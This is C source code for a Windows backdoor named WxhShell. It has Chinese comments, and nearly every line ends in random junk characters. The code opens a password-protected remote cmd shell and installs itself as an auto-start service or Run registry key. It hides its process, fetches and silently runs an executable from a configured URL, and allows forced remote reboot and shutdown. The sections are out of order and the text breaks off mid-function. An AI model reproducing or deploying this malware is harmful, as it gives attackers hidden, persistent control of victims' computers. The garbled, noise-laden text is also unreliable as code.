    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1`)ie%=  
    if(Boot(SHUTDOWN)) fWhwI+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }OZ%U2PU  
    else { U+CZv1  
    closesocket(wsh); C=2  
    ExitThread(0);  Iz*'  
    } f9W@!]LHJ  
    break; ?M. n 9|}y  
    } fNPHc_?Ybj  
  // 获取shell kngkG|du  
  case 's': { }26?bd@e`  
    CmdShell(wsh); \`}Rdr!p%  
    closesocket(wsh); k"Y9Kc0XoU  
    ExitThread(0); U']DB h  
    break; |&eZ[Sy(=l  
  } *&9_+F8ly  
  // 退出 <e-9We."  
  case 'x': { Qu,W3d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y!c RzQ  
    CloseIt(wsh); ``kiAKMy  
    break; h}k&#X)7  
    } Eo 5p-  
  // 离开 f=]+\0MQ  
  case 'q': { Pc#8~t}2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U+>!DtOYK  
    closesocket(wsh); X<dQq`kZ  
    WSACleanup(); `CA-s  
    exit(1); ^\Tde*48  
    break; P +ONQN|  
        } j|gQe .,1  
  } 28 [hp[<  
  } CE]0OY  
6Qne rd%Ec  
  // 提示信息 #_0OYL`(mE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B{$4s8XU  
} Kmc*z (Q  
  } Cj"+` C)l  
[y-0w.V=oE  
  return; <@6K(  
} 2 eo]D?}  
S+Z_Qf  
// shell模块句柄 @{ *z1{  
int CmdShell(SOCKET sock) /?uA{/8  
{ Zz}Wg@&  
STARTUPINFO si; J}U);A  
ZeroMemory(&si,sizeof(si)); 1Q"w)Ta  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gw' uY$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gEcRJ1Q;C  
PROCESS_INFORMATION ProcessInfo; 0t[|3A~Q  
char cmdline[]="cmd"; p vone,y2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *'4+kj7>  
  return 0; lVF}G[B  
} 9eO!_a^  
]S;^QZ  
// 自身启动模式 Pu/X_D-#Gi  
int StartFromService(void) #^%HJp^  
{ S.&=>   
typedef struct 1AMxZ (e  
{ <%w)EQf4m  
  DWORD ExitStatus; hM$K?t  
  DWORD PebBaseAddress; S. my" j  
  DWORD AffinityMask; ;[@);-9q  
  DWORD BasePriority; cV^r_E\m  
  ULONG UniqueProcessId; IxN0m7  
  ULONG InheritedFromUniqueProcessId; Mh [TZfV  
}   PROCESS_BASIC_INFORMATION; n7-|\p!xP6  
>K:| +XbH  
PROCNTQSIP NtQueryInformationProcess; "<['W(  
qJV2x.!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6{Y3-Pxg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .}IxZM[}D  
r\nKJdh;ka  
  HANDLE             hProcess; }nh!dVA8lh  
  PROCESS_BASIC_INFORMATION pbi; UQ]WBS\  
6zv-nMZc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6&,n\EXF  
  if(NULL == hInst ) return 0; me-Tv7WL  
.Ukejx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); | e{F;8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K @x4>9 3n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U`YPzZp_  
99 W-sV  
  if (!NtQueryInformationProcess) return 0; pc9m,?n  
m# y`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _cPGS=Ew  
  if(!hProcess) return 0; ^3~+|A98M  
2J7= O^$?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bm/pLC6%.  
cyYsz'i m  
  CloseHandle(hProcess); XS:W{tL!  
X}"Ic@8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D*7JE  
if(hProcess==NULL) return 0; J-iFA KN  
]x)^/ d  
HMODULE hMod; >fZ N?>`  
char procName[255]; hd+(M[C<9  
unsigned long cbNeeded; `N;}Gf-'  
( X(61[Lu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GM]" $  
%Xe#'qNq)  
  CloseHandle(hProcess); 73/DOF  
$H\[yg>4  
if(strstr(procName,"services")) return 1; // 以服务启动 PSCzeR  
6(#fGH&[  
  return 0; // 注册表启动 RP!!6A6:  
} #fB&Hv #s7  
U(xN}Y ?  
// 主模块 RLy2d'DS  
int StartWxhshell(LPSTR lpCmdLine) 0}LB nV  
{ q47>RWMh%  
  SOCKET wsl; !4;A"B(  
BOOL val=TRUE; WY>r9+A?W  
  int port=0; q,Oj  
  struct sockaddr_in door; 7TDt2:;]  
R'Gka1v  
  if(wscfg.ws_autoins) Install(); ,<Ag&*YE4  
F7fpsAt7  
port=atoi(lpCmdLine); %E<.\\^%  
U%.%:'eV=  
if(port<=0) port=wscfg.ws_port; g+( Cs  
[p&n]T  
  WSADATA data; rE->z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vR`#kxSdJ@  
Go^a~Sf$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8x)&4o@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $] ])FM"b  
  door.sin_family = AF_INET; =w&bS,a"y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RSv?imi=  
  door.sin_port = htons(port); u92);1R  
IKz3IR eu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : Xe,=M(l~  
closesocket(wsl); `(- nSQ  
return 1; W|2o^ V  
} 3/?^d;=  
)GT*HJR(vc  
  if(listen(wsl,2) == INVALID_SOCKET) { g3V bP  
closesocket(wsl); 8-JOfq}s  
return 1; ^l,(~03_  
} kjj4%0"  
  Wxhshell(wsl); ]VKM3[   
  WSACleanup(); tfKf*Um  
a*hWODYn  
return 0; yr;~M{{4  
Q>ZxJ!B<k  
} 95XQ?%  
w}20l F  
// 以NT服务方式启动 h+\+9^l6|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~nP~6Q'wSH  
{ Jn |sS(Q}  
DWORD   status = 0; l+ ,p=  
  DWORD   specificError = 0xfffffff; Ux/|D_rlf  
lmGVSdo   
  serviceStatus.dwServiceType     = SERVICE_WIN32; hSN{jl{L`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5SB!)F]   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R^p'gQc$   
  serviceStatus.dwWin32ExitCode     = 0; \X*Es.;|x  
  serviceStatus.dwServiceSpecificExitCode = 0; p&s~O,Bw$  
  serviceStatus.dwCheckPoint       = 0; TmS-w  
  serviceStatus.dwWaitHint       = 0; 4Eri]O Ri  
^ gMkQYo(#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WX-J4ieL  
  if (hServiceStatusHandle==0) return; f]_{4Olk  
=%)Y, )"  
status = GetLastError(); =~DQX\  
  if (status!=NO_ERROR) 5n0B`A  
{ icrcP ~$A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $q|-9B  
    serviceStatus.dwCheckPoint       = 0; yv;KKQ   
    serviceStatus.dwWaitHint       = 0; mhNX05D  
    serviceStatus.dwWin32ExitCode     = status; 5V $H?MW>  
    serviceStatus.dwServiceSpecificExitCode = specificError; `MLOf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,<CFjtelO  
    return; ; _K3/:  
  } 1u~CNHm  
A3 uF 0A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W?:e4:Q  
  serviceStatus.dwCheckPoint       = 0; mG*ER^Y@D  
  serviceStatus.dwWaitHint       = 0; ez-jVi-Fi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w-j^jU><3  
} L-9 AJk>V  
c%+_~iBUN  
// 处理NT服务事件,比如:启动、停止 o#Viz:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u]z87#4  
{ PY@BgL=/  
switch(fdwControl) Dq~ \U&U\$  
{ '% if< /  
case SERVICE_CONTROL_STOP: X T<SR]  
  serviceStatus.dwWin32ExitCode = 0; "!B\c9q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gTQc=,3l3  
  serviceStatus.dwCheckPoint   = 0; FKH_o  
  serviceStatus.dwWaitHint     = 0; KY'x;\0 g  
  { &v/>P1Z G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KU=+ 1,Jf  
  } 9 _b_O T  
  return; BO,xA-+  
case SERVICE_CONTROL_PAUSE: Be~ '@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aN;c.1TY  
  break; ] :SbvsPm  
case SERVICE_CONTROL_CONTINUE: ]:r(U5 #  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V q[4RAd^P  
  break; 2PC:F9dh\  
case SERVICE_CONTROL_INTERROGATE: nZX`y -AZ  
  break; ZVyJ%"(E  
}; VeipM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R xA:>yOPn  
} v&)G~cz  
0t?g!  
// 标准应用程序主函数 @s|G18@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j0~ dJ#  
{ )tv~N7  
,ll<0Atg  
// 获取操作系统版本 @b9qBJfQ  
OsIsNt=GetOsVer(); 7NMy1'-q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6n:oEXM>  
+7 mUX  
  // 从命令行安装 ELZ@0,  
  if(strpbrk(lpCmdLine,"iI")) Install(); @x@wo9<Fc  
Y M,UM>  
  // 下载执行文件 bcYGkvGbO  
if(wscfg.ws_downexe) { _)Ad%LPsd7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Z+p_;J$p  
  WinExec(wscfg.ws_filenam,SW_HIDE); (5l'?7  
} pM-mZ/?  
~hb;kc3  
if(!OsIsNt) { 8 +mW  
// 如果时win9x,隐藏进程并且设置为注册表启动 &e3pmHp'  
HideProc(); T`2a)  
StartWxhshell(lpCmdLine); v@,`(\Ca'  
} 8K9RA<  
else Ww0dU_  
  if(StartFromService()) =>- W!Of  
  // 以服务方式启动 8I7JsCj  
  StartServiceCtrlDispatcher(DispatchTable); 2<E@f0BVAy  
else wWVB'MRXB,  
  // 普通方式启动 tkP& =$  
  StartWxhshell(lpCmdLine); [ e#[j{  
6t{G{ ]  
return 0; 4xF}rm  
} cp&1yB   
ge]Z5E(1  
tP89gN^PA|  
}\QXPU{UVd  
=========================================== -U{!'e8YiN  
u`"Y!*[ -  
 N8)]d  
v)aV(Oa  
r-_-/O"l  
eB9F35[  
" v.53fx  
uMjL>YLq{?  
#include <stdio.h> g: YUuZ  
#include <string.h> H<"EE15  
#include <windows.h> I2gSgv%  
#include <winsock2.h> J4Ca0Ag  
#include <winsvc.h>  ]l}bk]  
#include <urlmon.h> wlDo(]mj=O  
8:U0M'}u>  
#pragma comment (lib, "Ws2_32.lib") epI~w  
#pragma comment (lib, "urlmon.lib") ddY-F }z~  
$S^rKp#  
#define MAX_USER   100 // 最大客户端连接数 LhSXz>AX  
#define BUF_SOCK   200 // sock buffer c~= {A  
#define KEY_BUFF   255 // 输入 buffer D7Y?$=0ycb  
69 J4p=c,  
#define REBOOT     0   // 重启 I:WPP'L4o  
#define SHUTDOWN   1   // 关机 a1x].{  
v 8TNBsEL  
#define DEF_PORT   5000 // 监听端口 v}=pxWhm  
S[CWrPaDQ  
#define REG_LEN     16   // 注册表键长度 g&\;62lV%  
#define SVC_LEN     80   // NT服务名长度 (!a\23  
jGYl*EBx  
// 从dll定义API v}<z_i5/C.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y\:,.cZ+TQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p7L6~IN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jw^h<z/Ux  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |!J_3*6$>*  
4'.] -u  
// wxhshell配置信息 -|P7e  
struct WSCFG { ;\]DZV4?)r  
  int ws_port;         // 监听端口 [6?x 6_M  
  char ws_passstr[REG_LEN]; // 口令 EcPvE=^c  
  int ws_autoins;       // 安装标记, 1=yes 0=no +&* >FeJY  
  char ws_regname[REG_LEN]; // 注册表键名 $#_^uWN-M  
  char ws_svcname[REG_LEN]; // 服务名 iZ0.rcQj'o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KP!7hJhw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  nyZ?m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'i;ofJ[.c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o3`0x9{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9y*(SDF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +A%zFF3  
*7qa]i^]  
}; 7'5/T]Z  
f5R%F ~  
// default Wxhshell configuration &<) _7?  
struct WSCFG wscfg={DEF_PORT, wKJK!P  
    "xuhuanlingzhe", fN 1:'d  
    1, 9Dyw4'W.N  
    "Wxhshell", NM1TFs2Y*  
    "Wxhshell", :~p_(rE  
            "WxhShell Service", oTA'=<W?D  
    "Wrsky Windows CmdShell Service", lEpPi@2PK  
    "Please Input Your Password: ", nZ`=Up p)  
  1, z.W1Za  
  "http://www.wrsky.com/wxhshell.exe", 7KtgR=-Lb  
  "Wxhshell.exe" 4-\4G"4  
    }; YGi_7fTyc=  
SNV;s,  
// 消息定义模块 M<@9di7c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Ip=3($Ku[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q8DKU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )EG-xo@X  
char *msg_ws_ext="\n\rExit."; xH-} <7  
char *msg_ws_end="\n\rQuit."; 5;9.&f  
char *msg_ws_boot="\n\rReboot..."; )' 2vUt`_7  
char *msg_ws_poff="\n\rShutdown..."; 5hB2:$C  
char *msg_ws_down="\n\rSave to "; DE?@8k  
=OR&,xt  
char *msg_ws_err="\n\rErr!"; x_EU.924uY  
char *msg_ws_ok="\n\rOK!"; &0mhO+g   
*gI9CVfQl  
char ExeFile[MAX_PATH]; 5JZZvc$au  
int nUser = 0; [ HjGdC  
HANDLE handles[MAX_USER]; ,7e 2M@=  
int OsIsNt; 'eoI~*}3WQ  
Q?%v b  
SERVICE_STATUS       serviceStatus; RHq r-%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 87nsWBe  
CzT_$v_  
// 函数声明 Vb2")+*:  
int Install(void); *c@]c~hY,  
int Uninstall(void); &J=x[{R  
int DownloadFile(char *sURL, SOCKET wsh); S*rcXG6Q^  
int Boot(int flag); YGLR%PYv"  
void HideProc(void); gOk^("@  
int GetOsVer(void); n6*; ~h5  
int Wxhshell(SOCKET wsl); -ANq!$E  
void TalkWithClient(void *cs); BCH I@a  
int CmdShell(SOCKET sock); 5gPAX $jH  
int StartFromService(void); 4_S%K&  
int StartWxhshell(LPSTR lpCmdLine); Zn'y"@%t[  
T0}P 'q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~0n9In%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !i6 aA1'  
::8E?c  
// 数据结构和表定义 CY9`HQ1  
SERVICE_TABLE_ENTRY DispatchTable[] = FD}>}fLv  
{ g/,O51f'  
{wscfg.ws_svcname, NTServiceMain}, J15$P8J  
{NULL, NULL} WTh|7&  
}; ?/s=E+  
L G9#D  
// 自我安装 R7By=Y!t  
int Install(void) F~O! J@4]  
{ bRAf!<3  
  char svExeFile[MAX_PATH]; NPR{g!tK%  
  HKEY key; !!t@ H\  
  strcpy(svExeFile,ExeFile);  ]cI(||x  
]%%cc  
// 如果是win9x系统,修改注册表设为自启动 [ \Aor[(  
if(!OsIsNt) { Z8Clm:S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AwL;-|X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3!B3C(g  
  RegCloseKey(key); HjN )~<j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6_a.`ehtj<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KBGJB`D*  
  RegCloseKey(key); uO-R:MC  
  return 0; /h%MWCZWm^  
    } oDas~0<oh  
  } 8%#uZG\}  
} BF6H_g  
else { ihhnB  
E0S[TEDa]  
// 如果是NT以上系统,安装为系统服务 sw &sF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R:JS)>B  
if (schSCManager!=0) ( ]o6Pi  
{ iJE|u  
  SC_HANDLE schService = CreateService 'C*NyHc  
  ( -/&6}lD  
  schSCManager, VVje|T^{Z  
  wscfg.ws_svcname, `o*g2fW!  
  wscfg.ws_svcdisp, |wj/lX7y  
  SERVICE_ALL_ACCESS, egi?Qg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G8?<(.pi@  
  SERVICE_AUTO_START, o [ %Q&u  
  SERVICE_ERROR_NORMAL, ss 3fq}  
  svExeFile, wh:`4Yw  
  NULL, jW",'1h<n  
  NULL, L=}UApK  
  NULL, XT_BiZ%l5O  
  NULL, ?8 C+wW  
  NULL M !OI :v  
  ); vR~*r6hX8  
  if (schService!=0) 49Ue2=PP#  
  { @kwD$%*0  
  CloseServiceHandle(schService); 7"JU)@ U]  
  CloseServiceHandle(schSCManager); U>x2'B v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .]H]H*wC  
  strcat(svExeFile,wscfg.ws_svcname); hOMFDfhU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o-Idr{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |/lIasI  
  RegCloseKey(key); HNuwq\w  
  return 0; J0p,P.G  
    } +;[`fSi  
  } j)IK  
  CloseServiceHandle(schSCManager); n7q-)Dv_U  
} ?3z+|;t6C  
} 3]Lk}0atpL  
Tz L40="F  
return 1; W@$p'IBwm  
} (\/HGxv  
v|,Hd  
// 自我卸载 v V^GIWK  
int Uninstall(void) c[y=K)<Z  
{ FVQWz[N  
  HKEY key; %#QFu/l  
v,i:vT\~  
if(!OsIsNt) { kdYl>M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #1bgV  
  RegDeleteValue(key,wscfg.ws_regname); g&E_|}u4  
  RegCloseKey(key); M9OFK\)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T*T.\b  
  RegDeleteValue(key,wscfg.ws_regname); Z%OSW  
  RegCloseKey(key); >;3c; nf  
  return 0; 4QZy-a*tA  
  } B?%D   
} j'J*QK&Q  
} \+AH>I;vO  
else { 5PL,~Y  
n ~3c<{coZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t+(CAP|,  
if (schSCManager!=0) I3 x}F$^  
{ %<muVRkB\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GyPN)!X@.&  
  if (schService!=0) :A{-^qd(  
  { !yI)3;$*  
  if(DeleteService(schService)!=0) { TQ2Tt "  
  CloseServiceHandle(schService); 8c|IGC  
  CloseServiceHandle(schSCManager); \%Smp2K  
  return 0; M{4_BQ4$  
  } G<dXJ ]\\  
  CloseServiceHandle(schService); #dfW1@m  
  } y14@9<~9  
  CloseServiceHandle(schSCManager); pq&c]8H  
} _INUJc  
} t2SZ]|C  
5#F+-9r  
return 1; YaT07X.(b  
} ha),N<'  
>PJ-Z~O'   
// 从指定url下载文件 5k(#kyP  
int DownloadFile(char *sURL, SOCKET wsh) 68!fcK  
{ vxt^rBA  
  HRESULT hr; ,RHHNTB("  
char seps[]= "/"; A{o{o++  
char *token; v: 0i5h&M  
char *file; ]1[;A$7  
char myURL[MAX_PATH]; g:clSN,  
char myFILE[MAX_PATH]; '~cEdGD9H  
gPi_+-@  
strcpy(myURL,sURL); }Tef;8d  
  token=strtok(myURL,seps); Mvh_>-i  
  while(token!=NULL) #"M Pe4  
  { *j* WE\  
    file=token; fytx({I .a  
  token=strtok(NULL,seps); ~Iu09t|a  
  } ,{50zx2  
<XagkD  
GetCurrentDirectory(MAX_PATH,myFILE); m&%b;%,J  
strcat(myFILE, "\\"); uSQ*/h-<)0  
strcat(myFILE, file); bcs!4  
  send(wsh,myFILE,strlen(myFILE),0); ~z}au"k  
send(wsh,"...",3,0); !T{g& f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z%R%D*f@y  
  if(hr==S_OK) <<1oc{i  
return 0; =KZ4:d5  
else Vel;t<1  
return 1; u@E M,o  
{EUH#':  
} xVyUUzXs  
bsr y([N>w  
// 系统电源模块 kt#W~n  
int Boot(int flag) h,+=h;!  
{ z>:7}=H0  
  HANDLE hToken; <X |h *  
  TOKEN_PRIVILEGES tkp; t_rDXhM  
[s2V-'2  
  if(OsIsNt) {  c$|dK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9-^p23.@[j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ftPw6  
    tkp.PrivilegeCount = 1; QA(,K}z~^S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,f+5x]F?m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9gg,Dy  
if(flag==REBOOT) { w0!,1 Ry  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]t3"0  
  return 0; 2~DPq p[  
} 0mh8.  
else { F udD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GvOAs-$  
  return 0; QO.gt*"  
} $rEd5W&d!  
  } jZ!JXmVV  
  else { eLny-.i ,7  
if(flag==REBOOT) { 0Y 2^}u@5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !y`e,(E  
  return 0; n y)P  
} YMTA`T(+  
else { ^^SfIK?p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7nz+n#  
  return 0; { NJ>[mKg  
} 9VE;I:NO3  
} H@ms43v\  
QP%Fz#u`  
return 1; ek)(pJ(+#  
} Wt fOE@h  
jPNfLwVkl:  
// win9x进程隐藏模块 N08n/u&cr,  
void HideProc(void) P{!:pxu[  
{ *h:EE6|  
EiN)TB^]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F^z8+W  
  if ( hKernel != NULL ) i t@}dZ  
  { Y0\\(0j64  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I JY5wP1"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ';, Bn9rv  
    FreeLibrary(hKernel); {7>CA'>  
  } "D(8]EG=  
-3t BN*0+  
return; QCfpDE}  
} OX/.v?c  
7$W;4!BN*  
// 获取操作系统版本 .p(l+  
int GetOsVer(void) \_AEuz3 F  
{ &AcFa<U  
  OSVERSIONINFO winfo; #L:P R>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "q^'5p]  
  GetVersionEx(&winfo); &vX!7 Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [=6~"!P}  
  return 1; q)ql]iH  
  else ~hslLUE  
  return 0; m8j-lNu  
} H#6^-6;/  
.Pes{uHg  
// 客户端句柄模块 oz6+rM6MY  
int Wxhshell(SOCKET wsl) i:M*L< +  
{ .00=U;H%`  
  SOCKET wsh; Jav2A6a  
  struct sockaddr_in client; RIEv*2_O  
  DWORD myID; 1bZiPG{  
|cGeL[  
  while(nUser<MAX_USER) #S%Y; ilq  
{ vj&5`  
  int nSize=sizeof(client); 4t Nvq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h+~df(S.  
  if(wsh==INVALID_SOCKET) return 1; _G[I2]  
*;e@t4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;c- ]bhBB  
if(handles[nUser]==0) 2{B(j&{  
  closesocket(wsh); ]p&<nK,  
else Jrd4a~XP  
  nUser++; Vt=(2d5:p  
  } (F[/~~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O+p-1 C$\  
tNuCxb-  
  return 0; j'Y"/<  
} 04PoBv~g  
.k,Jt+  
// 关闭 socket )ko{S[gG  
void CloseIt(SOCKET wsh) n_aNs]C9R  
{ ~8xh0TSi  
closesocket(wsh); fj-pNl6Gf  
nUser--; 0 \Yx.\X,  
ExitThread(0); ,0uo&/Y4L  
} [AX"ne# M*  
[TK? P0  
// 客户端请求句柄 +'['HQ)  
void TalkWithClient(void *cs) |@ZqwC=  
{ 2PR7M.V 7  
>mFX^t_,  
  SOCKET wsh=(SOCKET)cs; Wda\a.bXT  
  char pwd[SVC_LEN]; 0L0Jc,(F+  
  char cmd[KEY_BUFF]; xw+<p  
char chr[1]; 1Y"35)CR)  
int i,j; =Esbeb7P  
nl'J.dJe  
  while (nUser < MAX_USER) { yMbcFDlBr  
<Hh5u~  
if(wscfg.ws_passstr) { ;4kx>x*H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); te;Ox!B&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @0ov!9]Rw-  
  //ZeroMemory(pwd,KEY_BUFF); &cu] vw  
      i=0; 974eY  
  while(i<SVC_LEN) { PPCTc|G  
Q&upxE4-~  
  // 设置超时 <DXmZ1  
  fd_set FdRead; D#d8^U  
  struct timeval TimeOut; tCbr<Ug  
  FD_ZERO(&FdRead); 0ck&kpL:9  
  FD_SET(wsh,&FdRead); eMN+qkvH  
  TimeOut.tv_sec=8; Wg` +u  
  TimeOut.tv_usec=0; L7Qo-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]D{c4)\7C|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4\1wyN /}M  
b ~/Wnp5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AJ\VY;m7F  
  pwd=chr[0]; *f`s%&Y]s  
  if(chr[0]==0xd || chr[0]==0xa) { i0'Xy>l  
  pwd=0; U+.PuC[3  
  break; .>kccLr:z  
  } t}]9VD9  
  i++; abICoP1zQ  
    } Sf'i{xye  
Mu'^OX82  
  // 如果是非法用户,关闭 socket |7QVMFZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gH i~nEH  
} '!wPnYT@D  
~VqFZasV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5;F P.{+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uX<+hG.n}  
M8^.19q;  
while(1) { X2 \E9hJg  
t7|MkX1  
  ZeroMemory(cmd,KEY_BUFF); &<gUFcw7Ui  
v#<\:|XAg  
      // 自动支持客户端 telnet标准   @A [)hk&(R  
  j=0; .Lojzx  
  while(j<KEY_BUFF) { 2f3=?YqD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3TU'*w &  
  cmd[j]=chr[0]; m !#_CQ:  
  if(chr[0]==0xa || chr[0]==0xd) { x*unye7  
  cmd[j]=0; fd?bU|I_2  
  break; v[R_S  
  } _&W0e}4  
  j++; "?i>p z  
    } 5U0ytDZ2/(  
'"` Lv/  
  // 下载文件 968Ac}OA  
  if(strstr(cmd,"http://")) { i^je.,Bi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iY0,WT}&n  
  if(DownloadFile(cmd,wsh)) [zY!'cz?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO)')&  
  else G$cxDGo  
